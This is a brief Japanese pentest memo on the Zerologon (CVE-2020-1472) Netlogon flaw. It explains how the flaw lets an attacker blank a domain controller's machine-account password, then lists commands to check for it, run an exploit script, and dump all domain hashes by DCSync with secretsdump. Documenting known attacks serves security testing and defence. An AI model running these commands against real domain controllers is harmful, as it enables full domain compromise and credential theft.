Zerologon(CVE-2020-1472)によるマシンアカウントパスワードのリセット

active-directory zerologon cve-2020-1472

概要

Zerologon(CVE-2020-1472)は、Netlogon リモートプロトコルで使われる暗号化(AES-CFB8 モードの初期化ベクトルの扱い)の実装不備を突く脆弱性。本来なら認証が必要な「DC のマシンアカウントパスワードの変更」を、認証情報なしで成功させられてしまう。

これを悪用すると、DC 自身のコンピュータアカウントのパスワードを空文字列にリセットできる。パスワードが分かっている(=空である)状態になれば、そのマシンアカウントとして認証し、DCSync でドメイン全体のハッシュを抜き取れる。

パッチが適用されたバージョンの Windows では修正されているため、既に広く知られたパッチ適用済みの脆弱性として扱われる。

手順

  1. 対象 DC が脆弱かどうかを確認する。
  2. 脆弱であれば、エクスプロイトで DC のマシンアカウントパスワードを空にリセットする。
  3. パスワードが空になったマシンアカウントとして認証し、DCSync を実行する。
  4. 本来のパスワードに戻す(リセットしたままだと DC の複製などに支障が出るため、復旧作業が必要になる)。

コマンド

# 脆弱性チェック
nxc smb <DC_IP> -u '' -p '' -M zerologon
# DC のマシンアカウントのパスワードを空にする
python3 cve-2020-1472-exploit.py DC01 <DC_IP>
# マシンアカウント(パスワード空)で DCSync
secretsdump.py -just-dc -no-pass 'DC01$'@<DC_IP>

注意点

  • マシンアカウントパスワードを空にリセットした状態は DC の正常な動作に影響するため、検証・調査の際は必ず元のパスワードに復旧する手順とセットで扱う。